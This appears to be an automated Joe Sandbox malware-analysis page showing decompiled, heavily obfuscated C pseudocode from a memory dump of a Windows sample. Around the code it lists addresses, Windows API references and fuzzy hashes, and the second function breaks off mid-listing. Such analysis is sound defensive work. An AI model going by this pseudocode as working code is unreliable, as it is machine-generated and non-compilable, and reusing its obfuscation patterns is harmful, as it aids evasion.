0x7ff6b1ca83b7
0x7ff6b1ca83bf
0x7ff6b1ca83d0
0x7ff6b1ca83d6
0x7ff6b1ca83dd
0x7ff6b1ca83e0
0x7ff6b1ca83e4
0x7ff6b1ca83ef
0x7ff6b1ca83f0
0x7ff6b1ca83f2
0x7ff6b1ca83f8
0x7ff6b1ca83fe
0x7ff6b1ca8404
0x7ff6b1ca840a
0x7ff6b1ca8412
0x7ff6b1ca8418
0x7ff6b1ca8427
0x7ff6b1ca8429
0x7ff6b1ca842e
0x7ff6b1ca8430
0x7ff6b1ca8438
0x7ff6b1ca843e
0x7ff6b1ca8440
0x7ff6b1ca8448
0x7ff6b1ca844c
0x7ff6b1ca8450
0x7ff6b1ca8454
0x7ff6b1ca8456
0x7ff6b1ca845e
0x7ff6b1ca8464
0x7ff6b1ca8469
0x7ff6b1ca846b
0x7ff6b1ca8470
0x7ff6b1ca8475
0x7ff6b1ca847d
0x7ff6b1ca8483
0x7ff6b1ca848e
0x7ff6b1ca8494
0x7ff6b1ca849b
0x7ff6b1ca849f
0x7ff6b1ca84a5
0x7ff6b1ca84ab
0x7ff6b1ca84b3
0x7ff6b1ca84b9
0x7ff6b1ca84bb
0x7ff6b1ca84c2
0x7ff6b1ca84c6
0x7ff6b1ca84cd
0x7ff6b1ca84d3
0x7ff6b1ca84d8
0x7ff6b1ca84e0
0x7ff6b1ca84e6
0x7ff6b1ca84f1
0x7ff6b1ca84f7
0x7ff6b1ca84fe
0x7ff6b1ca8503
0x7ff6b1ca850b
0x7ff6b1ca8511
0x7ff6b1ca8516
0x7ff6b1ca8518
0x7ff6b1ca8520
0x7ff6b1ca852b
0x7ff6b1ca8536
0x7ff6b1ca8539
0x7ff6b1ca8541
0x7ff6b1ca8542
0x7ff6b1ca8543
0x7ff6b1ca8548
0x7ff6b1ca854e
0x7ff6b1ca8553
0x7ff6b1ca8558
0x7ff6b1ca855a
0x7ff6b1ca8562
0x7ff6b1ca856a
0x7ff6b1ca8574
0x7ff6b1ca8578
0x7ff6b1ca858f

Memory Dump Source

Source File: 00000019.00000002.471908681.00007FF6B1CA1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF6B1CA0000, based on PE: true

Associated: 00000019.00000002.471898120.00007FF6B1CA0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000019.00000002.473004363.00007FF6B1DA4000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000019.00000002.473431822.00007FF6B1DEC000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000019.00000002.473482729.00007FF6B1DEF000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000019.00000002.473540111.00007FF6B1DFE000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000019.00000002.473695074.00007FF6B1E17000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000019.00000002.473710818.00007FF6B1F75000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000019.00000002.473730190.00007FF6B1F77000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000019.00000002.473944631.00007FF6B1FA8000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_7ff6b1ca0000_LoWin64.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 677ffc031c5f1d9dc4045f103a016de43a09cf68233fcc36d70d06b1756e9092
Instruction ID: 750e320787ba008621f22d97d1ec0a89998472a2516b90fe167e9852944f626a
Opcode Fuzzy Hash: 677ffc031c5f1d9dc4045f103a016de43a09cf68233fcc36d70d06b1756e9092
Instruction Fuzzy Hash: E1518267F3C90AA7E7115F2CAD492BA76A16F11609F740339C709E219ADF3CB5828648

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6B1CA813C Relevance: 6.1, APIs: 4, Instructions: 117
windowtimeCOMMON

Download Yara Rule

C-Code - Quality: 60%

			E00007FF67FF6B1CA813C(void* __eax, void* __edi, void* __ebp, void* __rdx, intOrPtr _a32, intOrPtr _a144, void* _a152, signed int _a160, signed long long _a168) {
				signed int _t34;
				void* _t56;
				signed int _t99;
				void* _t101;
				signed int _t103;
				void* _t112;
				void* _t119;
				void* _t122;
				void* _t123;
				void* _t125;
				void* _t133;
				void* _t134;
				void* _t136;
				void* _t148;
				void* _t151;
				void* _t154;
				void* _t157;
				void* _t160;
				void* _t163;
				signed long long _t166;
				void* _t169;
				signed long long _t174;
				void* _t177;
				void* _t180;
				void* _t183;
				void* _t186;
				void* _t189;
				void* _t198;
				void* _t201;
				void* _t204;
				void* _t207;
				void* _t210;
				void* _t213;
				void* _t216;
				void* _t222;
				void* _t227;
				signed long long _t244;
				void* _t247;
				signed long long _t250;
				void* _t256;

				_t151 = (_t148 - _t250 | _t244) + _t250;
				if (_t151 != 0x7e) goto 0xb1ca8168;
				_t34 = E00007FF67FF6B1D3ACF4(_t151);
				_t35 = _t34 & r14d;
				if ((_t34 & r14d) >= 0) goto 0xb1ca8157;
				_t154 = (_t151 - _t250 | _t244) + _t250;
				r8d = r15d;
				r8b = _t154 - 0x18 < 0;
				 *0xb1decf60 = r8d;
				r9d = _a32;
				r8d = _a160;
				E00007FF67FF6B1CB41F0(_t35, _t112, _t227, _a144, _t247); // executed
				E00007FF67FF6B1CB4910(E00007FF67FF6B1D3B360(_t101, _t227, 0, _t154, _t256), _t112, _a144);
				 *0xb1decf60 = _t250;
				E00007FF67FF6B1D3ACF4(_t154);
				E00007FF67FF6B1D3ACF4(_t154);
				asm("push es");
				_t157 = (_t154 - _t250 | 0xffffff80) + _t250;
				asm("movsd xmm6, [0x11694a]");
				_t119 = _t157 - 5;
				if (_t119 != 0) goto 0xb1ca81f1;
				E00007FF67FF6B1D3ACF4(_t157);
				if (_t119 >= 0) goto 0xb1ca81e3;
				_t160 = (_t157 - _t250 | 0xffffff80) + _t250;
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("comisd xmm6, xmm0");
				if (_t119 < 0) goto 0xb1ca8240;
				asm("bound ecx, [ebp+0x14]");
				asm("dec ebp");
				E00007FF67FF6B1D3ACF4(_t160);
				if (_t119 >= 0) goto 0xb1ca820e;
				_t163 = (_t160 - _t250 | 0xffffff80) + _t250;
				if (_t163 - 0x79 >= 0) goto 0xb1ca8218;
				if (0x60 - 0x67 < 0) goto 0xb1ca81f6;
				E00007FF67FF6B1D3ACF4(_t163);
				if (0x60 - 0x67 >= 0) goto 0xb1ca8228;
				_t166 = (_t163 - _t250 | 0xffffff80) + _t250;
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("comisd xmm6, xmm0");
				 *0xb1decf60 = _t166;
				 *0xb1decf60 = _t250;
				GetWindowTextLengthW(??);
				 *0xb1decf60 = r12d;
				r12d = r12d + __ebp;
				_t122 = r12d - 0x42;
				if (_t122 < 0) goto 0xb1ca824e;
				GetMessageTime();
				E00007FF67FF6B1D3ACF4(_t166);
				if (_t122 >= 0) goto 0xb1ca8274;
				_t169 = (_t166 - _t250 | 0xffffff80) + _t250;
				_t123 = _t169 - 0x2e;
				if (_t123 > 0) goto 0xb1ca82a0;
				GetUserDefaultLangID();
				E00007FF67FF6B1D3ACF4(_t169);
				if (_t123 >= 0) goto 0xb1ca828f;
				_t103 = r15d & 0xffffff00 | (_t169 - _t250 | 0xffffff80) + _t250 - 0x0000002e <= 0x00000000;
				 *0xb1decf60 = 0;
				goto 0xb1ca82e3;
				_t56 = E00007FF67FF6B1D3ACF4((_t169 - _t250 | 0xffffff80) + _t250);
				 *0x144CAB2D =  *((intOrPtr*)(0x144cab2d)) + _t103;
				 *0x144CA51D =  *((intOrPtr*)(0x144ca51d)) + _t103;
				 *0x6b =  *0x6b + _t56;
				_t174 = _a168 + _t250;
				_a168 = _t174;
				 *0xb1decf60 = _t174;
				_t125 = _t174 - 0x1f;
				if (_t125 < 0) goto 0xb1ca82a5;
				 *0xb1decf60 = _t250;
				asm("movsd xmm6, [0x116455]");
				_push(0xe800144c);
				 *_t174 =  *_t174 | _t174;
				if (_t125 >= 0) goto 0xb1ca8308;
				_t177 = (_t174 - _t250 | 0xffffff80) + _t250;
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("ucomisd xmm6, xmm0");
				if (_t125 != 0) goto 0xb1ca8318;
				if (_t125 == 0) goto 0xb1ca831d;
				if (0x3 - 0x13 < 0) goto 0xb1ca82f0; // executed
				GetForegroundWindow();
				if ((E00007FF67FF6B1D3ACF4(_t177) & r14d) >= 0) goto 0xb1ca8333;
				_t180 = (_t177 - _t250 | 0xffffff80) + _t250;
				if (_t180 - 0x34 >= 0) goto 0xb1ca8341;
				 *0xb1decf60 = r15d;
				goto 0xb1ca8387;
				asm("adc cl, [esp+edx]");
				if ((E00007FF67FF6B1D3ACF4(_t180) & r14d) >= 0) goto 0xb1ca835e;
				_t183 = (_t180 - _t250 | 0xffffff80) + _t250;
				if (_t183 - 0x1a >= 0) goto 0xb1ca8368;
				if (0x45 - 0x52 < 0) goto 0xb1ca8346;
				E00007FF67FF6B1D3ACF4(_t183);
				if (0x45 - 0x52 >= 0) goto 0xb1ca8378;
				_t186 = (_t183 - _t250 | 0xffffff80) + _t250;
				 *0xb1decf60 = 0;
				E00007FF67FF6B1D3ACF4(_t186);
				if (_t186 - 0x34 >= 0) goto 0xb1ca8397;
				_t189 = (_t186 - _t250 | 0xffffff80) + _t250;
				_t133 = _t189 - 0x1f;
				if (_t133 != 0) goto 0xb1ca83d6;
				E00007FF67FF6B1D3ACF4(_t189);
				if (_t133 >= 0) goto 0xb1ca83ac;
				_t134 = (_t189 - _t250 | 0xffffff80) + _t250 - 4;
				if (_t134 == 0) goto 0xb1ca83d6;
				GetForegroundWindow();
				E00007FF67FF6B1D3ACF4((_t189 - _t250 | 0xffffff80) + _t250);
				if (_t134 >= 0) goto 0xb1ca83c7;
				 *0xb1decf60 = 0;
				 *0xb1decf60 = r13d;
				r13d = r13d + __ebp;
				_t136 = r13d - 0x54;
				if (_t136 < 0) goto 0xb1ca83d6;
				asm("push ss");
				if (_t136 < 0) goto 0xb1ca83eb;
				 *0xb1decf60 = 0x10;
				 *0xb1decf60 = _t250;
				GetUserDefaultLangID();
				GetCurrentProcessId();
				GetTickCount();
				 *0xb1decf60 = _t250;
				IsIconic(??);
				asm("adc al, 0x0");
				_t198 = 0x50 + _t250;
				if (0x50 - 0x56 < 0) goto 0xb1ca8423;
				E00007FF67FF6B1D3ACF4(_t198);
				if (0x50 - 0x56 >= 0) goto 0xb1ca8440;
				_t201 = (_t198 - _t250 | 0xffffff80) + _t250;
				asm("movsd xmm6, [0x1163f8]");
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("comisd xmm6, xmm0");
				if (0x50 - 0x56 >= 0) goto 0xb1ca849d;
				E00007FF67FF6B1D3ACF4(_t201);
				if (0x50 - 0x56 >= 0) goto 0xb1ca8466;
				_t204 = (_t201 - _t250 | 0xffffff80) + _t250;
				if (0x50 - 0x63 < 0) goto 0xb1ca849d;
				E00007FF67FF6B1D3ACF4(_t204);
				E00007FF67FF6B1D3ACF4(_t204);
				E00007FF67FF6B1D3ACF4(_t204);
				if (0x50 - 0x63 >= 0) goto 0xb1ca8485;
				_t207 = (_t204 - _t250 | 0xffffff80) + _t250;
				 *0xb1decf60 = 0;
				 *0xb1decf60 = r15d;
				goto 0xb1ca84d3;
				E00007FF67FF6B1DA4028();
				 *0xb1decf60 = _t250;
				E00007FF67FF6B1D3ACF4(_t207);
				if (0x50 - 0x2c >= 0) goto 0xb1ca84bb;
				_t210 = (_t207 - _t250 | 0xffffff80) + _t250;
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("comisd xmm6, xmm0");
				 *0xb1decf60 = 0x50;
				E00007FF67FF6B1D3ACF4(_t210);
				E00007FF67FF6B1D3ACF4(_t210);
				if (0x50 - 0x2c >= 0) goto 0xb1ca84e8;
				_t213 = (_t210 - _t250 | 0xffffff80) + _t250;
				 *0xb1decf60 = 0;
				 *0xb1decf60 = r15d;
				E00007FF67FF6B1D3ACF4(_t213);
				E00007FF67FF6B1D3ACF4(_t213);
				if (0x50 - 0x6c >= 0) goto 0xb1ca8513;
				_t216 = (_t213 - _t250 | 0xffffff80) + _t250;
				if (0x50 - 0x18 >= 0) goto 0xb1ca855a;
				E00007FF67FF6B1D3ACF4(_t216);
				if (0x50 - 0x18 >= 0) goto 0xb1ca8528;
				if (0x50 - 0x19 > 0) goto 0xb1ca855a;
				asm("sldt word [ebx]");
				asm("fisttp qword [ecx+0x144a201d]");
				asm("scasd");
				asm("daa");
				 *0x50 =  *0x50 | 0x00000050;
				if (0x50 - 0x19 >= 0) goto 0xb1ca8550;
				_t222 = ((_t216 - _t250 | 0xffffff80) + _t250 - _t250 | 0xffffff80) + _t250;
				if (0x50 != 0x3b) goto 0xb1ca855a;
				if (0x3e - 0x49 < 0) goto 0xb1ca8532;
				_t99 = E00007FF67FF6B1D3ACF4(_t222);
				if (0x3e - 0x49 >= 0) goto 0xb1ca856a;
				asm("movaps xmm6, [esp+0x30]");
				r15b = (_t222 - _t250 | 0xffffff80) + _t250 - 0x19 > 0;
				 *0xb1decf60 = r15d;
				return _t99 & r14d;
			}

0x7ff6b1ca8140
0x7ff6b1ca8145
0x7ff6b1ca8147
0x7ff6b1ca814c
0x7ff6b1ca814f
0x7ff6b1ca8155
0x7ff6b1ca8157
0x7ff6b1ca815d
0x7ff6b1ca8161
0x7ff6b1ca8168
0x7ff6b1ca816d
0x7ff6b1ca8184
0x7ff6b1ca81a1
0x7ff6b1ca81a6
0x7ff6b1ca81ac
0x7ff6b1ca81b1
0x7ff6b1ca81bf
0x7ff6b1ca81c4
0x7ff6b1ca81c6
0x7ff6b1ca81ce
0x7ff6b1ca81d1
0x7ff6b1ca81d3
0x7ff6b1ca81db
0x7ff6b1ca81e1
0x7ff6b1ca81e3
0x7ff6b1ca81e7
0x7ff6b1ca81eb
0x7ff6b1ca81ef
0x7ff6b1ca81fa
0x7ff6b1ca81fb
0x7ff6b1ca81fe
0x7ff6b1ca8206
0x7ff6b1ca820c
0x7ff6b1ca8211
0x7ff6b1ca8216
0x7ff6b1ca8218
0x7ff6b1ca8220
0x7ff6b1ca8226
0x7ff6b1ca8228
0x7ff6b1ca822f
0x7ff6b1ca8233
0x7ff6b1ca823a
0x7ff6b1ca8242
0x7ff6b1ca8248
0x7ff6b1ca824e
0x7ff6b1ca8255
0x7ff6b1ca8258
0x7ff6b1ca825c
0x7ff6b1ca825e
0x7ff6b1ca8264
0x7ff6b1ca826c
0x7ff6b1ca8272
0x7ff6b1ca8274
0x7ff6b1ca8277
0x7ff6b1ca8279
0x7ff6b1ca827f
0x7ff6b1ca8287
0x7ff6b1ca8295
0x7ff6b1ca8298
0x7ff6b1ca829e
0x7ff6b1ca82a0
0x7ff6b1ca82ae
0x7ff6b1ca82b4
0x7ff6b1ca82ba
0x7ff6b1ca82c9
0x7ff6b1ca82cb
0x7ff6b1ca82d2
0x7ff6b1ca82d8
0x7ff6b1ca82db
0x7ff6b1ca82dd
0x7ff6b1ca82e3
0x7ff6b1ca82f4
0x7ff6b1ca82fb
0x7ff6b1ca8300
0x7ff6b1ca8306
0x7ff6b1ca8308
0x7ff6b1ca830c
0x7ff6b1ca8310
0x7ff6b1ca8314
0x7ff6b1ca8316
0x7ff6b1ca831b
0x7ff6b1ca831d
0x7ff6b1ca832b
0x7ff6b1ca8331
0x7ff6b1ca8336
0x7ff6b1ca8338
0x7ff6b1ca833f
0x7ff6b1ca834a
0x7ff6b1ca8356
0x7ff6b1ca835c
0x7ff6b1ca8361
0x7ff6b1ca8366
0x7ff6b1ca8368
0x7ff6b1ca8370
0x7ff6b1ca8376
0x7ff6b1ca8381
0x7ff6b1ca8387
0x7ff6b1ca838f
0x7ff6b1ca8395
0x7ff6b1ca8397
0x7ff6b1ca839a
0x7ff6b1ca839c
0x7ff6b1ca83a4
0x7ff6b1ca83ac
0x7ff6b1ca83af
0x7ff6b1ca83b1
0x7ff6b1ca83b7
0x7ff6b1ca83bf
0x7ff6b1ca83d0
0x7ff6b1ca83d6
0x7ff6b1ca83dd
0x7ff6b1ca83e0
0x7ff6b1ca83e4
0x7ff6b1ca83ef
0x7ff6b1ca83f0
0x7ff6b1ca83f2
0x7ff6b1ca83f8
0x7ff6b1ca83fe
0x7ff6b1ca8404
0x7ff6b1ca840a
0x7ff6b1ca8412
0x7ff6b1ca8418
0x7ff6b1ca8427
0x7ff6b1ca8429
0x7ff6b1ca842e
0x7ff6b1ca8430
0x7ff6b1ca8438
0x7ff6b1ca843e
0x7ff6b1ca8440
0x7ff6b1ca8448
0x7ff6b1ca844c
0x7ff6b1ca8450
0x7ff6b1ca8454
0x7ff6b1ca8456
0x7ff6b1ca845e
0x7ff6b1ca8464
0x7ff6b1ca8469
0x7ff6b1ca846b
0x7ff6b1ca8470
0x7ff6b1ca8475
0x7ff6b1ca847d
0x7ff6b1ca8483
0x7ff6b1ca848e
0x7ff6b1ca8494
0x7ff6b1ca849b
0x7ff6b1ca849f
0x7ff6b1ca84a5
0x7ff6b1ca84ab
0x7ff6b1ca84b3
0x7ff6b1ca84b9
0x7ff6b1ca84bb
0x7ff6b1ca84c2
0x7ff6b1ca84c6
0x7ff6b1ca84cd
0x7ff6b1ca84d3
0x7ff6b1ca84d8
0x7ff6b1ca84e0
0x7ff6b1ca84e6
0x7ff6b1ca84f1
0x7ff6b1ca84f7
0x7ff6b1ca84fe
0x7ff6b1ca8503
0x7ff6b1ca850b
0x7ff6b1ca8511
0x7ff6b1ca8516
0x7ff6b1ca8518
0x7ff6b1ca8520
0x7ff6b1ca852b
0x7ff6b1ca8536
0x7ff6b1ca8539
0x7ff6b1ca8541
0x7ff6b1ca8542
0x7ff6b1ca8543
0x7ff6b1ca8548
0x7ff6b1ca854e
0x7ff6b1ca8553
0x7ff6b1ca8558
0x7ff6b1ca855a
0x7ff6b1ca8562
0x7ff6b1ca856a
0x7ff6b1ca8574
0x7ff6b1ca8578
0x7ff6b1ca858f

APIs

GetWindowTextLengthW.USER32 ref: 00007FF6B1CA8248
GetMessageTime.USER32 ref: 00007FF6B1CA825E
GetUserDefaultLangID.KERNEL32 ref: 00007FF6B1CA8279
GetForegroundWindow.USER32 ref: 00007FF6B1CA831D

Memory Dump Source

Source File: 00000019.00000002.471908681.00007FF6B1CA1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF6B1CA0000, based on PE: true

Associated: 00000019.00000002.471898120.00007FF6B1CA0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000019.00000002.473004363.00007FF6B1DA4000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000019.00000002.473431822.00007FF6B1DEC000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000019.00000002.473482729.00007FF6B1DEF000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000019.00000002.473540111.00007FF6B1DFE000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000019.00000002.473695074.00007FF6B1E17000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000019.00000002.473710818.00007FF6B1F75000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000019.00000002.473730190.00007FF6B1F77000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000019.00000002.473944631.00007FF6B1FA8000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_7ff6b1ca0000_LoWin64.jbxd

Similarity

API ID: Window$DefaultForegroundLangLengthMessageTextTimeUser
String ID:
API String ID: 578984816-0
Opcode ID: 02f279139efa70e0341a18d6cf3de72005942fe7feab77b65ceb7b1bf4b55880
Instruction ID: fbbdec43c41a1276a7f68e5ccbaa4dba913600c372ba079a2dadba46686191e6
Opcode Fuzzy Hash: 02f279139efa70e0341a18d6cf3de72005942fe7feab77b65ceb7b1bf4b55880
Instruction Fuzzy Hash: 99418167F3894A67F7119F2CAD492BA72A06F11709F740339C70DE259ADF3CB5818648

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6B1CA8127 Relevance: 6.1, APIs: 4, Instructions: 115
COMMON

Download Yara Rule

C-Code - Quality: 61%

			E00007FF67FF6B1CA8127(void* __eax, void* __edi, void* __ebp, void* __rdx, intOrPtr _a32, intOrPtr _a144, void* _a152, signed int _a160, signed long long _a168) {
				signed int _t36;
				void* _t58;
				signed int _t101;
				void* _t103;
				signed int _t105;
				void* _t114;
				void* _t123;
				void* _t126;
				void* _t127;
				void* _t129;
				void* _t137;
				void* _t138;
				void* _t140;
				void* _t152;
				void* _t155;
				void* _t158;
				void* _t161;
				void* _t164;
				void* _t167;
				void* _t170;
				signed long long _t173;
				void* _t176;
				signed long long _t181;
				void* _t184;
				void* _t187;
				void* _t190;
				void* _t193;
				void* _t196;
				void* _t205;
				void* _t208;
				void* _t211;
				void* _t214;
				void* _t217;
				void* _t220;
				void* _t223;
				void* _t229;
				void* _t234;
				signed long long _t251;
				void* _t254;
				signed long long _t257;
				void* _t263;

				_t155 = (_t152 - _t257 | _t251) + _t257;
				if (_t155 - 0x18 >= 0) goto 0xb1ca8168;
				if ((E00007FF67FF6B1D3ACF4(_t155) & r14d) >= 0) goto 0xb1ca8142;
				_t158 = (_t155 - _t257 | _t251) + _t257;
				if (_t158 != 0x7e) goto 0xb1ca8168;
				_t36 = E00007FF67FF6B1D3ACF4(_t158);
				_t37 = _t36 & r14d;
				if ((_t36 & r14d) >= 0) goto 0xb1ca8157;
				_t161 = (_t158 - _t257 | _t251) + _t257;
				r8d = r15d;
				r8b = _t161 - 0x18 < 0;
				 *0xb1decf60 = r8d;
				r9d = _a32;
				r8d = _a160;
				E00007FF67FF6B1CB41F0(_t37, _t114, _t234, _a144, _t254); // executed
				E00007FF67FF6B1CB4910(E00007FF67FF6B1D3B360(_t103, _t234, 0, _t161, _t263), _t114, _a144);
				 *0xb1decf60 = _t257;
				E00007FF67FF6B1D3ACF4(_t161);
				E00007FF67FF6B1D3ACF4(_t161);
				asm("push es");
				_t164 = (_t161 - _t257 | 0xffffff80) + _t257;
				asm("movsd xmm6, [0x11694a]");
				_t123 = _t164 - 5;
				if (_t123 != 0) goto 0xb1ca81f1;
				E00007FF67FF6B1D3ACF4(_t164);
				if (_t123 >= 0) goto 0xb1ca81e3;
				_t167 = (_t164 - _t257 | 0xffffff80) + _t257;
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("comisd xmm6, xmm0");
				if (_t123 < 0) goto 0xb1ca8240;
				asm("bound ecx, [ebp+0x14]");
				asm("dec ebp");
				E00007FF67FF6B1D3ACF4(_t167);
				if (_t123 >= 0) goto 0xb1ca820e;
				_t170 = (_t167 - _t257 | 0xffffff80) + _t257;
				if (_t170 - 0x79 >= 0) goto 0xb1ca8218;
				if (0x60 - 0x67 < 0) goto 0xb1ca81f6;
				E00007FF67FF6B1D3ACF4(_t170);
				if (0x60 - 0x67 >= 0) goto 0xb1ca8228;
				_t173 = (_t170 - _t257 | 0xffffff80) + _t257;
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("comisd xmm6, xmm0");
				 *0xb1decf60 = _t173;
				 *0xb1decf60 = _t257;
				GetWindowTextLengthW(??);
				 *0xb1decf60 = r12d;
				r12d = r12d + __ebp;
				_t126 = r12d - 0x42;
				if (_t126 < 0) goto 0xb1ca824e;
				GetMessageTime();
				E00007FF67FF6B1D3ACF4(_t173);
				if (_t126 >= 0) goto 0xb1ca8274;
				_t176 = (_t173 - _t257 | 0xffffff80) + _t257;
				_t127 = _t176 - 0x2e;
				if (_t127 > 0) goto 0xb1ca82a0;
				GetUserDefaultLangID();
				E00007FF67FF6B1D3ACF4(_t176);
				if (_t127 >= 0) goto 0xb1ca828f;
				_t105 = r15d & 0xffffff00 | (_t176 - _t257 | 0xffffff80) + _t257 - 0x0000002e <= 0x00000000;
				 *0xb1decf60 = 0;
				goto 0xb1ca82e3;
				_t58 = E00007FF67FF6B1D3ACF4((_t176 - _t257 | 0xffffff80) + _t257);
				 *0x144CAB2D =  *((intOrPtr*)(0x144cab2d)) + _t105;
				 *0x144CA51D =  *((intOrPtr*)(0x144ca51d)) + _t105;
				 *0x6b =  *0x6b + _t58;
				_t181 = _a168 + _t257;
				_a168 = _t181;
				 *0xb1decf60 = _t181;
				_t129 = _t181 - 0x1f;
				if (_t129 < 0) goto 0xb1ca82a5;
				 *0xb1decf60 = _t257;
				asm("movsd xmm6, [0x116455]");
				_push(0xe800144c);
				 *_t181 =  *_t181 | _t181;
				if (_t129 >= 0) goto 0xb1ca8308;
				_t184 = (_t181 - _t257 | 0xffffff80) + _t257;
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("ucomisd xmm6, xmm0");
				if (_t129 != 0) goto 0xb1ca8318;
				if (_t129 == 0) goto 0xb1ca831d;
				if (0x3 - 0x13 < 0) goto 0xb1ca82f0; // executed
				GetForegroundWindow();
				if ((E00007FF67FF6B1D3ACF4(_t184) & r14d) >= 0) goto 0xb1ca8333;
				_t187 = (_t184 - _t257 | 0xffffff80) + _t257;
				if (_t187 - 0x34 >= 0) goto 0xb1ca8341;
				 *0xb1decf60 = r15d;
				goto 0xb1ca8387;
				asm("adc cl, [esp+edx]");
				if ((E00007FF67FF6B1D3ACF4(_t187) & r14d) >= 0) goto 0xb1ca835e;
				_t190 = (_t187 - _t257 | 0xffffff80) + _t257;
				if (_t190 - 0x1a >= 0) goto 0xb1ca8368;
				if (0x45 - 0x52 < 0) goto 0xb1ca8346;
				E00007FF67FF6B1D3ACF4(_t190);
				if (0x45 - 0x52 >= 0) goto 0xb1ca8378;
				_t193 = (_t190 - _t257 | 0xffffff80) + _t257;
				 *0xb1decf60 = 0;
				E00007FF67FF6B1D3ACF4(_t193);
				if (_t193 - 0x34 >= 0) goto 0xb1ca8397;
				_t196 = (_t193 - _t257 | 0xffffff80) + _t257;
				_t137 = _t196 - 0x1f;
				if (_t137 != 0) goto 0xb1ca83d6;
				E00007FF67FF6B1D3ACF4(_t196);
				if (_t137 >= 0) goto 0xb1ca83ac;
				_t138 = (_t196 - _t257 | 0xffffff80) + _t257 - 4;
				if (_t138 == 0) goto 0xb1ca83d6;
				GetForegroundWindow();
				E00007FF67FF6B1D3ACF4((_t196 - _t257 | 0xffffff80) + _t257);
				if (_t138 >= 0) goto 0xb1ca83c7;
				 *0xb1decf60 = 0;
				 *0xb1decf60 = r13d;
				r13d = r13d + __ebp;
				_t140 = r13d - 0x54;
				if (_t140 < 0) goto 0xb1ca83d6;
				asm("push ss");
				if (_t140 < 0) goto 0xb1ca83eb;
				 *0xb1decf60 = 0x10;
				 *0xb1decf60 = _t257;
				GetUserDefaultLangID();
				GetCurrentProcessId();
				GetTickCount();
				 *0xb1decf60 = _t257;
				IsIconic(??);
				asm("adc al, 0x0");
				_t205 = 0x50 + _t257;
				if (0x50 - 0x56 < 0) goto 0xb1ca8423;
				E00007FF67FF6B1D3ACF4(_t205);
				if (0x50 - 0x56 >= 0) goto 0xb1ca8440;
				_t208 = (_t205 - _t257 | 0xffffff80) + _t257;
				asm("movsd xmm6, [0x1163f8]");
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("comisd xmm6, xmm0");
				if (0x50 - 0x56 >= 0) goto 0xb1ca849d;
				E00007FF67FF6B1D3ACF4(_t208);
				if (0x50 - 0x56 >= 0) goto 0xb1ca8466;
				_t211 = (_t208 - _t257 | 0xffffff80) + _t257;
				if (0x50 - 0x63 < 0) goto 0xb1ca849d;
				E00007FF67FF6B1D3ACF4(_t211);
				E00007FF67FF6B1D3ACF4(_t211);
				E00007FF67FF6B1D3ACF4(_t211);
				if (0x50 - 0x63 >= 0) goto 0xb1ca8485;
				_t214 = (_t211 - _t257 | 0xffffff80) + _t257;
				 *0xb1decf60 = 0;
				 *0xb1decf60 = r15d;
				goto 0xb1ca84d3;
				E00007FF67FF6B1DA4028();
				 *0xb1decf60 = _t257;
				E00007FF67FF6B1D3ACF4(_t214);
				if (0x50 - 0x2c >= 0) goto 0xb1ca84bb;
				_t217 = (_t214 - _t257 | 0xffffff80) + _t257;
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("comisd xmm6, xmm0");
				 *0xb1decf60 = 0x50;
				E00007FF67FF6B1D3ACF4(_t217);
				E00007FF67FF6B1D3ACF4(_t217);
				if (0x50 - 0x2c >= 0) goto 0xb1ca84e8;
				_t220 = (_t217 - _t257 | 0xffffff80) + _t257;
				 *0xb1decf60 = 0;
				 *0xb1decf60 = r15d;
				E00007FF67FF6B1D3ACF4(_t220);
				E00007FF67FF6B1D3ACF4(_t220);
				if (0x50 - 0x6c >= 0) goto 0xb1ca8513;
				_t223 = (_t220 - _t257 | 0xffffff80) + _t257;
				if (0x50 - 0x18 >= 0) goto 0xb1ca855a;
				E00007FF67FF6B1D3ACF4(_t223);
				if (0x50 - 0x18 >= 0) goto 0xb1ca8528;
				if (0x50 - 0x19 > 0) goto 0xb1ca855a;
				asm("sldt word [ebx]");
				asm("fisttp qword [ecx+0x144a201d]");
				asm("scasd");
				asm("daa");
				 *0x50 =  *0x50 | 0x00000050;
				if (0x50 - 0x19 >= 0) goto 0xb1ca8550;
				_t229 = ((_t223 - _t257 | 0xffffff80) + _t257 - _t257 | 0xffffff80) + _t257;
				if (0x50 != 0x3b) goto 0xb1ca855a;
				if (0x3e - 0x49 < 0) goto 0xb1ca8532;
